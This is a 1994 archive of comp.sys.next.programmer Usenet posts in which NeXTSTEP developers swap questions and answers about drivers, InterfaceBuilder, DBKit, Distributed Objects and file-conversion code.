From: cfleming@alleg.edu (Chuck Fleming) Newsgroups: comp.sys.next.programmer Subject: loadable kernel server problem Date: 19 May 1994 00:33:34 GMT Organization: Allegheny College Distribution: world Message-ID: <2rec4u$3q9@mustang.alleg.edu> Keywords: kernel I'm working on a loadable kernel server that needs to periodically send mach messages to a user level program. My user program sends a port (at which it will be listening for messages from the kernel) to the server. I'm trying to send mach messages back to the user program from within a function scheduled with ns_timeout. Unfortunately, as soon as it's time for the message to be sent, the system panics. Any suggestions on what's wrong? Thanks, Chuck -- ########################################### Chuck Fleming (cfleming@alleg.edu) Educational Computing Services Allegheny College NeXTMail welcome ###########################################
From: M.Crawford@dcs.shef.ac.uk Newsgroups: comp.sys.next.programmer Subject: Re: SNDReadHeader Date: 18 May 1994 20:31:16 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <940519022713.2346AACUg.malc@jeeves> Further thanks to Arun Chandra for helping me with this. After some sleuthing I think we (mainly Arun, actually) have cracked it... I think the documentation should make it clear that the function int SNDReadHeader(int fd, SNDSoundStruct **s); reads the header from the fd *and then resets the fd to the start of the file*: at least that's what I understand from the fact that adding lseek(fd, s->dataLocation, SEEK_SET); after the SNDReadHeader line means my program works properly...? ... or should SNDReadHeader leave the fd such that the very next thing you read is the first byte of the first sample of the first channel of the sound...? If anybody else could confirm this diagnosis it would be appreciated. Have fun, mmalcolm. SHeffield Auditory Group | Vox : (+44) 742 768555 ext 5569 Dept. Computer Science | direct : 825569 Sheffield University | Fax : (+44) 742 780972 Regent Court | Email: malc@dcs.shef.ac.uk 211 Portobello Street | (NeXTMail, MIME welcome) Sheffield S1 4DP, UK. | (Read-Receipts discouraged :-)
From: wwright@shell.portal.com (Bradly William Wright) Newsgroups: comp.sys.next.programmer Subject: Uggh! Memory mapped driver hell! Date: 19 May 1994 05:40:50 GMT Organization: Portal Communications Company Message-ID: <2reu52$et6@news1.svc.portal.com> Help anyone! I'm trying to use the IOAudio class to write a device driver for a memory mapped sound card. For some reason, this call keeps returning an error. vm_address_t dest; pMEM.p = (char*)0xd8000; dest = (vm_address_t) pMEM.p; rc =[self mapMemoryRange:(unsigned int) pMEM.p to: &dest findSpace:NO cache: IO_CacheOff]; The Default.table is defined as this: ... "I/O Ports" = "0x388-0x388"; "Memory Maps" = "0xb0000-0xb7ff0 0xc8000-0xcff0 0xd0000-0xd7ff0 0xd8000-0xdffff 0xe0000-0xe7ff0 e8000-0xefff0"; "Valid DMA Channels" = "0 1 2 3 5 6 7"; "Valid IRQ Levels" = "3 5 7 10 11 12 15"; ... What I can't figure out is whether or not I actually need to call the routine to map the memory into the process space. Do drivers use physical memory or do they have separate memory segments. Brad Wright WrightSystem wwright@shell.portal.com
From: vamparys@litnext1.epfl.ch (Franck Vamparys) Newsgroups: comp.sys.next.programmer Subject: Re: NeXT *.eps Mac *.eps Date: 19 May 1994 07:59:43 GMT Organization: Ecole Polytechnique Federale de Lausanne Distribution: inet Message-ID: <2rf69f$jvq@disuns2.epfl.ch> References: <2rdsb8$qnb@Tut.MsState.Edu> In article <2rdsb8$qnb@Tut.MsState.Edu> carl@next2.sun1.mcsr.olemiss.edu (Carl Frederickson) writes: > Unfortunately the secretaries use Macs so all of my figures have > to be ported there. When an eps file produced by nxyplot is opened in > MSWord5.1 it will not print. An error about a full dictionary (even for a > 9k eps file) comes back from the printer (LaserWriter). What is the > problem? > > Thanks for any help, > Carl Frederickson The problem is that a MAC and a UNIX system doesn't use the same character to terminate the line. One solution is to use ftp in ASCII mode (which makes the conversion), another solution is to use a converter like ASCII_Filter.app or this program: ---------------------------- Char12toChar15.c ------------------------- #include <stdio.h> FILE *fileIn,*fileOut; char fileNameIn[80]; char fileNameOut[80]; char shCommand[180]; main(argc,argv) char **argv; int argc; { int k; char current_char ; /* test du nombre de parametres */ if ( argc < 2 ) { printf("Bad number of parameters\n"); exit (-1); }; for (k=1;k<argc;k++){ strcpy(fileNameIn,argv[k]); strcat(fileNameIn,".old"); strcpy(fileNameOut,argv[k]); strcpy(shCommand,"mv "); strcat(shCommand,fileNameOut); strcat(shCommand," "); strcat(shCommand,fileNameIn); system(shCommand); fileIn = fopen(fileNameIn,"r"); /* ouvrir le fichier en entree */ if ( fileIn == NULL ) { printf("cannot access the file: %s\n", argv[k]); exit (-1); }; /* ouvrir le fichier en sortie */ if ( (fileOut = fopen(fileNameOut,"w")) == NULL ) { printf("cannot open file: %s\n", fileNameOut); exit (-1); } while ( fscanf(fileIn,"%c",¤t_char) != -1) { switch ( current_char) { case (char)012 : fprintf(fileOut,"%c",015); break; default : fprintf(fileOut,"%c",current_char); break; }; }; fclose(fileIn); fclose(fileOut); } } ------------------------------ END ---------------------------------- ----------------------------------+------------------------------------ EPFL-DI-LIT | Franck VAMPARYS Swiss Institute of Technology | E-mail : vamparys@litnext1.epfl.ch IN Ecublens | Work : +41 21 693-6796 CH-1015 Lausanne (Switzerland) | Fax : +41 21 693-4701 ----------------------------------+-------------------------------------
From: bm10009@cai.cam.ac.uk (Ben Moseley) Newsgroups: comp.sys.next.programmer Subject: Re: NeXT *.eps Mac *.eps Date: 19 May 1994 09:42:25 GMT Organization: University of Cambridge, England Distribution: inet Message-ID: <2rfca1$4es@lyra.csx.cam.ac.uk> References: <2rf69f$jvq@disuns2.epfl.ch> In article <2rf69f$jvq@disuns2.epfl.ch> vamparys@litnext1.epfl.ch (Franck Vamparys) writes: > In article <2rdsb8$qnb@Tut.MsState.Edu> carl@next2.sun1.mcsr.olemiss.edu > (Carl Frederickson) writes: > > Unfortunately the secretaries use Macs so all of my figures have > > to be ported there. When an eps file produced by nxyplot is opened in > > MSWord5.1 it will not print. An error about a full dictionary (even for > a > > 9k eps file) comes back from the printer (LaserWriter). What is the > > problem? > > > > Thanks for any help, > > Carl Frederickson > > The problem is that a MAC and a UNIX system doesn't use the same character > to terminate the line. One solution is to use ftp in ASCII mode (which > makes the conversion), another solution is to use a converter like > ASCII_Filter.app or this program: > > > ---------------------------- Char12toChar15.c ------------------------- > #include <stdio.h> > > > FILE *fileIn,*fileOut; > char fileNameIn[80]; > char fileNameOut[80]; > char shCommand[180]; > > main(argc,argv) > char **argv; > int argc; > { > int k; > char current_char ; > > > /* test du nombre de parametres */ > if ( argc < 2 ) > { > printf("Bad number of parameters\n"); > > exit (-1); > }; > > for (k=1;k<argc;k++){ > > > strcpy(fileNameIn,argv[k]); > strcat(fileNameIn,".old"); > strcpy(fileNameOut,argv[k]); > > strcpy(shCommand,"mv "); > strcat(shCommand,fileNameOut); > strcat(shCommand," "); > strcat(shCommand,fileNameIn); > system(shCommand); > > fileIn = fopen(fileNameIn,"r"); > > /* ouvrir le fichier en entree */ > if ( fileIn == NULL ) > > { > printf("cannot access the file: %s\n", argv[k]); > exit (-1); > }; > > > /* ouvrir le fichier en sortie */ > > if ( (fileOut = fopen(fileNameOut,"w")) == NULL ) > { > printf("cannot open file: %s\n", fileNameOut); > exit (-1); > } > while ( fscanf(fileIn,"%c",¤t_char) != -1) > { > > > switch ( current_char) > { case (char)012 : fprintf(fileOut,"%c",015); > break; > default : fprintf(fileOut,"%c",current_char); > break; > }; > }; > fclose(fileIn); > fclose(fileOut); > > > } > } > > ------------------------------ END ---------------------------------- > > > ----------------------------------+------------------------------------ > EPFL-DI-LIT | Franck VAMPARYS > Swiss Institute of Technology | E-mail : vamparys@litnext1.epfl.ch > IN Ecublens | Work : +41 21 693-6796 > CH-1015 Lausanne (Switzerland) | Fax : +41 21 693-4701 > ----------------------------------+------------------------------------- Why not just use "tr"? Wouldn't something like this work? cat mac.eps | tr '\012' '\015' > next.eps Equally you can do this kind of translation in vi or Edit.app using its regular expression search replace. Ben.
Newsgroups: comp.sys.next.programmer From: ploeger@aplki.toppoint.de (Andreas Ploeger) Subject: Finding my IP address Message-ID: <1994May19.120841.7390@aplki.toppoint.de> Keywords: Internet address, IP, gethostbyname, localhost Sender: ploeger@aplki.toppoint.de (Andreas Ploeger) Organization: Andreas Ploeger Date: Thu, 19 May 94 12:08:41 GMT Hi, I couldn't find in the Stevens, so I ask you ;-): I need to find out the Internet address of my host. This works, but there must be an easier solution: hostent *serverInfo=gethostbyname("localhost"); struct in_addr myAddress=*((struct in_addr *)serverInfo->h_addr_list[0]); return myAddress; In fact, if I remove the "localhost" alias from netinfo it fails. Any comments? Greetings, Andreas -- -------------------------------------------------------------------- Andreas Ploeger E-Mail: ploeger@tpki.toppoint.de
From: cherp@cscnx15 (Chernett P) Newsgroups: comp.sys.next.programmer Subject: ProjectBuilder under NS3.1 Intel Date: 19 May 1994 12:59:54 GMT Organization: Essex University, England Message-ID: <2rfnsa$183@seralph0.essex.ac.uk> Has anyone else had problems when starting a new project on NS3.1 for INTEL (Blakc hardware is OK)? I have found that the English.lproj and the default nib file aren't created. There is no problem when I do this by hand using IB directly. The is a console message about not being able to mv T.nib (whatever the name of the project) -- ************************************* * Paul Chernett University of Essex * * Department of Computer Science * * cherp@essex.ac.uk 0206 872048 * * NeXT Mail welcome * *************************************
From: cmc@ltp.bcm.tmc.edu (Costa Colbert) Newsgroups: comp.sys.next.programmer Subject: Ib won't open .nib file Date: 19 May 1994 13:52:19 GMT Organization: Baylor College of Medicine, Houston, Tx Distribution: world Message-ID: <2rfquj$8j4@gazette.bcm.tmc.edu> Here is a strange one... I have a project (IB and PB) that I have been working on on two machines. When I leave work, I tar the entire working directory and untar it at home. I have been doing this for months, but I did recently upgrade to 3.2 at home. Work was already 3.2. Suddenly, when I try to open the .nib file at home, I get a message from IB saying can't open file /path/English.lproj/Myfile.nib. No other messages. Nothing in the console. No errors in the tar xf. I tried tarring and untarring a couple of times. IB opens every other .nib I have in other projects. I checked the file at work and it opens fine. I even went so far as to copy IB from home and bring it in to work for comparison. _No_ differences detected. In summary, 3.2 at home and at work; IB will read at work but not at home. What is going on ? cmc@ltp.bcm.tmc.edu
From: jirapa <jirapa@nextover.pe.utexas.edu> Newsgroups: comp.sys.next.programmer Subject: configuring slip Date: 19 May 1994 13:52:27 GMT Organization: UT at Austin Distribution: world Message-ID: <2rfqur$qvj@geraldo.cc.utexas.edu> Hi, I am having a problem configuring slip on my 030 cube.
From: msm@safesurfer.pencom.com (Mark S Mertel) Newsgroups: comp.sys.next.programmer Subject: Interbase adaptor Date: 19 May 1994 14:24:07 GMT Organization: Pencom Sofware Message-ID: <2rfsq7$fv5@digdug.pencom.com> Anyone out there using the interbase adaptor ? I'm having trouble getting it to connect to a remote database - that is, as a client machine only. It works fine when the database resides locally on the same machine, but is unable to connect across the LAN. Thanks in advance, Mark Mertel Email: msm@pencom.com Pencom Software Phone: (512) 343-6666 9050 Capital of Texas Hwy. N. FAX: (512) 343-9650 Austin, TX 78759
From: ief@netnews.jhuapl.edu (Ian Feldberg) Newsgroups: comp.sys.next.programmer Subject: Thanks: Using printf and fopen in Objective-C? Date: 19 May 1994 11:15:33 -0400 Organization: Johns Hopkins University's Applied Physics Lab Message-ID: <2rfvql$m1d@aplcomm.jhuapl.edu> I wanted to thank the numerous people who responded to my questions about printf and fopen. The comp.sys.next.programmer newsgroup is without a doubt populated by some of the most helpful and responsive people on the Net. - Ian Feldberg (Ian_Feldberg@jhuapl.edu)
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: Interbase adaptor (Solution) Message-ID: <1994May19.162809.2210@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <2rfsq7$fv5@digdug.pencom.com> Date: Thu, 19 May 94 16:28:09 GMT In article <2rfsq7$fv5@digdug.pencom.com> msm@safesurfer.pencom.com (Mark S Mertel) writes: > Anyone out there using the interbase adaptor ? I'm having trouble getting > it to connect to a remote database - that is, as a client machine only. > It works fine when the database resides locally on the same machine, but > is unable to connect across the LAN. > Hi to all Interbase users! NeXT forgot to mention the /etc/hosts.equiv file. Server: add all clients. Client: add the server. have fun :-) Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@DART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
From: vamparys@litnext1.epfl.ch (Franck Vamparys) Newsgroups: comp.sys.next.programmer Subject: Re: NeXT *.eps Mac *.eps Date: 19 May 1994 17:21:48 GMT Organization: Ecole Polytechnique Federale de Lausanne Distribution: inet Message-ID: <2rg77c$88b@disuns2.epfl.ch> References: <2rfca1$4es@lyra.csx.cam.ac.uk> In article <2rfca1$4es@lyra.csx.cam.ac.uk> bm10009@cai.cam.ac.uk (Ben Moseley) writes: > Why not just use "tr"? > Wouldn't something like this work? > > cat mac.eps | tr '\012' '\015' > next.eps > In this case YES, but sometimes you need to convert one character in two characters (ex: unix to DOS). > Equally you can do this kind of translation in vi or Edit.app using its > regular expression search replace. > > Ben. --------------------------------+------------------------------------ EPFL-DI-LIT | Franck VAMPARYS Swiss Institute of Technology | E-mail : vamparys@litnext1.epfl.ch IN Ecublens | Work : +41 21 693-6796 CH-1015 Lausanne (Switzerland) | Fax : +41 21 693-4701
Newsgroups: comp.sys.next.programmer From: michal@gortel.phys.ualberta.ca (Michal Jaegermann) Subject: Re: NeXT *.eps Mac *.eps Message-ID: <1994May19.181723.20438@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: Department of Physics, University of Alberta References: <2rdsb8$qnb@Tut.MsState.Edu> <2rf69f$jvq@disuns2.epfl.ch> Distribution: inet Date: Thu, 19 May 1994 18:17:23 GMT Franck Vamparys (vamparys@litnext1.epfl.ch) writes: : ... another solution is to use a converter like ... this program: and posts a long-winded code which does basically the same as tr '\012' '\015' Some folks have too much time on their hands. :-) --mj
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Just curious... Message-ID: <1994May19.200829.18139@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <1994May18.151900.20314@imag.fr> Date: Thu, 19 May 1994 20:08:29 GMT In article <1994May18.151900.20314@imag.fr> arrouye@petole.imag.fr (Yves Arrouye) writes: >>Did you ever get these messages on your console? Do you knwo what they mean? >>Is IB full of debugging messages? >> >>May 18 16:24:29 petole InterfaceBuilder[15089]: from == (0.500000, 0.500000, >>-0.750000) : to== (0.000000, 0.000000, 0.000000) >>May 18 16:24:29 petole InterfaceBuilder[15089]: u == (0.485071, 0.485071, >>-0.727607) : xRotate == 33.690067 : yRotate == -33.690067 >>May 18 16:24:29 petole InterfaceBuilder[15089]: from == (-0.500000, -0.500000, >>-0.750000) : to== (0.000000, 0.000000, 1.000000) >>May 18 16:24:29 petole InterfaceBuilder[15089]: u == (-0.264906, -0.264906, >>-0.927173) : xRotate == -15.945395 : yRotate == 15.945395 >> Those look suspiciously like what WW3DLight's used to say when init'ed. In other words, you've loaded a copy of the WW3DPalette that I lazily left debugging statements in. Feel free to delete and recompile (I thought I took those out before I made 1.4 available, but I guess I forgot...). Or maybe they're from some other palette spewing garbage... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: rcw@caspian.cc.vt.edu (R. Craig Woods) Newsgroups: comp.sys.next.programmer Subject: DBKit question Date: 19 May 1994 20:42:13 GMT Organization: Virginia Tech, Blacksburg, Virginia Message-ID: <2rgiv5$e12@solaris.cc.vt.edu> Is it possible to issue an SQL function such as max() or count() using the DBKit? If so, would someone explain how you do this, or point me to online documentation or examples? Thanks. ---Craig Woods
From: klui@corp.hp.com (Ken Lui) Newsgroups: comp.sys.next.programmer Subject: Re: *Chinese Font, EUC and other tricky things* Date: 19 May 1994 20:54:26 GMT Organization: Hewlett-Packard Company Message-ID: <2rgjm2$7ih@hpscit.sc.hp.com> References: <1994May17.214406.1944@stone.com> Keywords: KaiSu Composite Fonts In article <1994May17.214406.1944@stone.com>, Andrew Stone <andrew@stone.com> wrote: >It's pretty cool, and just "works" in NeXT's Text Object (Input is another >issue that the authors are addressing). > How do you define 'just "works"'? I find that if I have a Big5 document and if I transfer it over to my NeXT and change the font to KaiSu, everything looks fine, except the editing and word wrapping doesn't work. I also tried Adobe Illustrator and it gets confused at times. Wrote a simple PostScript program and it does come out great. I've tried "editing" chinese documents using Edit and WriteNow with no success. I do agree that KaiSu is a great looking font. The input method has been posted to cs.orst.edu already, but I haven't had the time to check it out. Ken -- Kenneth K.F. Lui, klui@corp.hp.com 3000 Hanover Street M/S 20BJ Corporate Financial Systems Palo Alto, CA 94304-1112 USA Core Application Technologies 1.415.857.3230 Fax 1.415.852.8026
Newsgroups: comp.sys.next.programmer From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Distributed Object and NXReference Message-ID: <1994May19.150237.14940@planon.qc.ca> Sender: yanik@planon.qc.ca (Yanik Crepeau) Date: Thu, 19 May 1994 15:02:37 GMT We have a project here that handle a lot of small object. All these objects are stored in a SQL-Database and accessed via the DBKit. These object lives. That mean that if one person change them everywhere in the network the same object must change as well to have a real-time state everywhere. To achieve that, we are building an object server. All application will share the same object living in the server. When a remote object request an object with a given unique ID, the server check in a HashTable to see if the object is already instantiated. If the object is not still loaded, the SQL-Database is queried to get the object and place it in the hashTable. All objects handled by the server conforms to the NXReference protocol. The documentation (Nextstep Reference, Volume II, November 1992 edition, page 6-9, Introduction to Distributed Objects, Reference Counting) says: "Note that a reference is not added every time an object is vended, only the firtst time it is seen on each connection. This work wll if the object arrives only once per client application. In other case, you can add a reference to an object every additional time you receive it, an eleminate the reference (by senting it the free message) every time you are finished with the object." Our server implements the method: - newObjectForClass:(const char *)className ofType:(int)aType withID:(const char *)anID That method is used by the client to get an object from the server. We have hacked the - addReference method to check when the object has its reference incremented. We discovered that the reference count is incremented each time the client queries our server. We triple-checked the address of the original object on the server side and the proxy address in the client side. In both case, the address printed was ok, the server always send the same object and the client always receives the same proxy. If we manualy increment the reference count in the client side, the -free message is not forwarded to the original unless the proxy is actually freed. That means that each time the client get a reference to the same object, it will receive the same proxy and the reference is incremented. However, each time the client send a -free to the proxy, the reference count is decremented only on the client side and the server side is not decremented as well. I am curious to know how to fix the problem. If the DO work as documented (-addReference sent only the first time the client queries the object) that would work very well. But it is not the case. Some clues would be appreciated. Yanik -- Yanik Crepeau The power of OOP used to stop when Programmer the programmer typed "make". With Planon Telexpertise NEXTSTEP and PDO, that is not true E-Mail: yanik@planon.qc.ca (NeXT) anymore!
Newsgroups: comp.sys.next.programmer From: mike@lorax.com (Mike Ferris) Subject: Re: How to get TextFields to scroll as you type? Message-ID: <Cq21nM.4qn@lorax.com> Sender: mike@lorax.com (Mike Ferris) Organization: Stultus Enterprises References: <1994May18.182206.19236@il.us.swissbank.com> Date: Thu, 19 May 1994 14:59:46 GMT In article <1994May18.182206.19236@il.us.swissbank.com> montyz@il.us.swissbank.com (Montgomery Zukowski) writes: >I've noticed that TextFields in Next's apps will scroll along with you as >you type beyond the edge of the field, but my TextFields don't. Is it >just a setting somewhere? > >Monty Click the Scrollable checkbox in IB's TextField inspector. ____________________________________________________________ Mike Ferris It's log, It's log, mike@lorax.com It's big, It's heavy, It's wood. (510) 652-2039 It's log, It's log, It's better than bad, It's good.
Newsgroups: comp.sys.next.programmer From: mike@lorax.com (Mike Ferris) Subject: Re: Using printf and fopen in Objective-C? Message-ID: <Cq21xp.4rr@lorax.com> Sender: mike@lorax.com (Mike Ferris) Organization: Stultus Enterprises References: <1994May18.223603.6266@seer.demon.co.uk> Date: Thu, 19 May 1994 15:05:48 GMT In article <2rde02$79e@aplcomm.jhuapl.edu> ief@netnews.jhuapl.edu (Ian Feldberg) writes: > 2) Since Objective-C does not know anything about my current directory, > do I always have to use complete pathnames when accessing files? The standard unix calls having to do with the working directory work the same as always. You cannot depend on the current working directory being set anywhere specific when your app starts as always. However, Robert is right that you ought to be using full paths or the NXBundle facility to navigate for most Next-ish purposes. ____________________________________________________________ Mike Ferris Common sense is what tells you mike@lorax.com that the world is flat. (510) 652-2039 -Malaclypse the Younger
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: Re: How to get TextFields to scroll as you type? Message-ID: <1994May18.211042.20450@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <1994May18.182206.19236@il.us.swissbank.com> Date: Wed, 18 May 1994 21:10:42 GMT Eric Brown wrote: >>One of the switches in the IB inspector for TextFields is for scrolling. It turns out that there is a setScrollable: message in the Cell class, not in the TextField class. And here I thought I was an experienced developer... Montgomery Zukowski writes > I've noticed that TextFields in Next's apps will scroll along with you as > you type beyond the edge of the field, but my TextFields don't. Is it > just a setting somewhere? > > Monty
From: stoleson@stutter Newsgroups: comp.sys.next.programmer Subject: Re: Using printf and fopen in Objective-C? Date: 19 May 1994 19:22:16 GMT Organization: IBM Rochester Message-ID: <2rge98$1iug@locutus.rchland.ibm.com> References: <2rde02$79e@aplcomm.jhuapl.edu> In <2rde02$79e@aplcomm.jhuapl.edu>, ief@netnews.jhuapl.edu (Ian Feldberg) writes: >This is actually 2 questions. > > 1) Why does Objective-C NOT bring up a terminal session when I make a call > to printf from within a chunk of code? How do I get my program to > write to stdout, without running in debug mode or running from a > terminal session? Look at the console, cmd-C in Workspace Manager, that is where any stdout stuff goes from an application. [Begin Editorial] I think it would be silly to have a Terminal session open up everytime I have a printf in my code. [End Editorial] > > 2) Since Objective-C does not know anything about my current directory, > do I always have to use complete pathnames when accessing files? > >Thanks in advance, > >- Ian >(Ian_Feldberg@jhuapl.edu) > - dave ** Not an IBM spokesperson **
From: xinwei@otter.Stanford.EDU (Sha Xin Wei) Newsgroups: comp.sys.next.programmer Subject: Re: EPS to TIFF conversion (Code to solve problem) Date: 20 May 1994 01:20:14 GMT Organization: Stanford University Message-ID: <2rh38e$cl1@nntp2.Stanford.EDU> References: <2qe85c$1qi@nntp2.Stanford.EDU> > > If you want to rasterize EPS, take a look at the NXImage class and > > NXBitmapImageRep and NXEPSImageRep classes. The program you are thinking > > of should be about 20 lines long. > .. > ================================================================= > > Enclosed is a little NeXT program which will convert an EPS file into a tiff Does anyone have source code for an eps2tiff converter in vanilla C, not using NEXTSTEP? rsvp. xinwei@otter.stanford.edu thanks -- Sha Xin Wei mathematics and scientific simulations distributed multimedia ASD, Stanford
From: xinwei@otter.Stanford.EDU (Sha Xin Wei) Newsgroups: comp.sys.next.programmer Subject: Re: Text object on Mac? Date: 20 May 1994 01:23:23 GMT Organization: Stanford University Message-ID: <2rh3eb$cmc@nntp2.Stanford.EDU> References: <1994May6.085138.2870@prim.demon.co.uk> Dave Griffiths writes > Does anything like the Text object exist on the Mac? I'm mainly interested > in the ability to display RTF and include graphics cells that can be > clicked on. > > Just curious. :) > > Dave Griffiths In our group, Rick Wong (rwong@jessica.stanford.edu) has written a complete Text class in MacApp (C++), supporting all sorts of functions. -- Sha Xin Wei mathematics and scientific simulations distributed multimedia mail: Academic Software Development Sweet Hall 415
From: cdb@xedoc.com.au (Cameron Bromley) Newsgroups: comp.sys.next.programmer Subject: Re: Ib won't open .nib file Date: 20 May 1994 02:02:31 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2rh5nn$op@yarrina.connect.com.au> References: <2rfquj$8j4@gazette.bcm.tmc.edu> In article <2rfquj$8j4@gazette.bcm.tmc.edu> cmc@ltp.bcm.tmc.edu (Costa Colbert) writes: > > In summary, > 3.2 at home and at work; IB will read at work but not at home. What is > going on ? Make sure all the palettes that the nib needs are loaded into IB on both machines. If you really get in a jam, you can manually edit the "~/.NeXT/defaults.nibd", wich specifies pathnames to palettes, etc. Cameron. --- ---------------------------------------------------------------- Cameron Bromley cdb@xedoc.com.au Xedoc Software Development Pty. Ltd. Fax +61-3-696-6757 222 Park St., Phone +61-3-696-2490 South Melbourne VIC, 3206 Australia
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: extra space when cut-and-pasting in IB? Message-ID: <1994May20.024326.4791@news.media.mit.edu> Sender: wave@media.mit.edu Organization: MIT Media Laboratory Date: Fri, 20 May 1994 02:43:26 GMT I have a palette of objects (my WWTCLWidgets palettes) that has a fair number of vanilla TextField and Text-in-ScrollView UI objects on their various IB Inspectors. Because of the nature of the info on these inspectors (little fragments of tcl code), I tend to cut and paste between these various inspectors alot. For example, one IB inspector might have the value "eyeBall(xScale)" on it. I'll cut and paste that object somewhere else, but now I might want to change "eyeball" to "nose", i.e. so that the value in the TextField is "nose(xScale)". The problem is, I have a lot of these UI objects that are all of the form "eyeball(nnn)", and I want to change all of them to be "nose(nnn)". The first one is no problem, I I double-click in the first to select "eyeBall", and type in "nose". Well, it them seems to make sense just do double-click on "nose", do a cmd-c to copy it, and move on to the next TextField, where I can just select "eyeBall" and do a cmd-v to to paste "nose" in there. Unfortunately, it doesn't paste "nose", it pastes in "nose ". Note the extra space. Since this is butting up against something in parentheses, and is supposed to be a single tcl variable name, "nose(xScale)" is distinctly different from "nose (xScale)". I didn't ask for that extra " ". I can see in some situations it being nice that it's there, but in this case, it's just a pain in the ass. Am I being dense? Is there something obvious I should be doing to avoid this, or is this a bug? I'm not as worried about me as I am people using my software and getting confused by this rather subtle "feature". Any constructive ideas concerning this would be appreciated... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: tyler@dbkit.com (Tyler Gingrich) Newsgroups: comp.sys.next.programmer Subject: Re: Ib won't open .nib file Date: 20 May 1994 04:43:39 GMT Organization: OARnet Distribution: world Message-ID: <2rhf5r$flo@ns.oar.net> References: <2rh5nn$op@yarrina.connect.com.au> In article cdb@xedoc.com.au (Cameron Bromley) writes: > In article cmc@ltp.bcm.tmc.edu (Costa Colbert) > writes: > > > > In summary, > > 3.2 at home and at work; IB will read at work but not at home. What is > > going on ? > > Make sure all the palettes that the nib needs are loaded into IB on both > machines. If you really get in a jam, you can manually edit the > "~/.NeXT/defaults.nibd", wich specifies pathnames to palettes, etc. > Launching InterfaceBuilder in gdb also helps you find out what IB might be having problems with.... gdb /NextDeveloper/Apps/InterfaceBuilder.app/InterfaceBuilder Then attempt to open your nib through the IB menu.... You will get an alert panel yielding possibly useful information about the attempted nib load. Note, if you are missing more than 1 nib, you might have to cycle through this process more than once. One other possibility -- have you been writing palettized objects but not implementing version numbering?? Incompatible read: and write: messages will also prevent nibs from loading. --- Tyler Gingrich Vanguard Software, Corp.
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Using printf and fopen in Objective-C? Date: 20 May 1994 06:24:34 GMT Organization: San Francisco State University Message-ID: <2rhl32$1bu@nic-nac.CSU.net> References: <2rde02$79e@aplcomm.jhuapl.edu> <2rge98$1iug@locutus.rchland.ibm.com> In article <2rge98$1iug@locutus.rchland.ibm.com> stoleson@vnet.ibm.com writes: > I think it would be silly to have a Terminal session open up everytime > I have a printf in my code. Of course. But putting printf()s in your code is often quite useful! Going back the the original question... here's what I recommend: (those of you who've already seen this can skip to the next article now) 1. Create a Window containing a ScrollView+Text. The Text should be monofont, selectable but not editable. 2. Make a "Clear Buffer" [k] menu item that clears the contents by sending a setText:"" to the Text object. 3. Add a Text category: #import <appkit/Text.h> @interface Text(Printf) - appendText:(const char *)aString; - printf:(const char *)format,...; @end #import <ansi/stdarg.h> #import <streams/streams.h> @implementation Text(Printf) - appendText:(const char *)aString { int e; if ((e=[self textLength])<=0) [self setText:aString]; else [[self setSel:e:e] replaceSel:aString]; [self scrollSelToVisible]; return self; } - printf:(const char *)format,... { NXStream *s; char *streambuf; int len, maxlen; va_list ap; va_start(ap, format); s=NXOpenMemory(NULL, 0, NX_WRITEONLY); NXVPrintf(s, format, ap); (void)NXPutc(s, '\0'); NXFlush(s); NXGetMemoryBuffer(s, &streambuf, &len, &maxlen); [self appendText:streambuf]; NXCloseMemory(s, NX_FREEBUFFER); va_end(ap); } @end Now use appendText: where you'd use fputs(), and printf: in place of fprintf(). -=EPS=- -- Extra credit: use NXRegisterPrintfProc() to make this even more powerful.
From: hill@iisnext1.unil.ch (Sean Hill) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer Subject: Source to NeXT TeX package? Date: 20 May 1994 10:27:03 GMT Organization: University of Lausanne CH (Switzerland) Message-ID: <2ri39n$bd8@cisun2000.unil.ch> I would like to compile and test the TeX package for NEXSTEP, I was wondering if anyone could e-mail pointers to building the package or the equivalent of the package on a non-Intel and non-Motorola NEXTSTEP platform (hmm, which one?!). I have the source to TeXView of course, but where should I get the source to the full package. Thanks, Sean hill@ulphy1.unil.ch
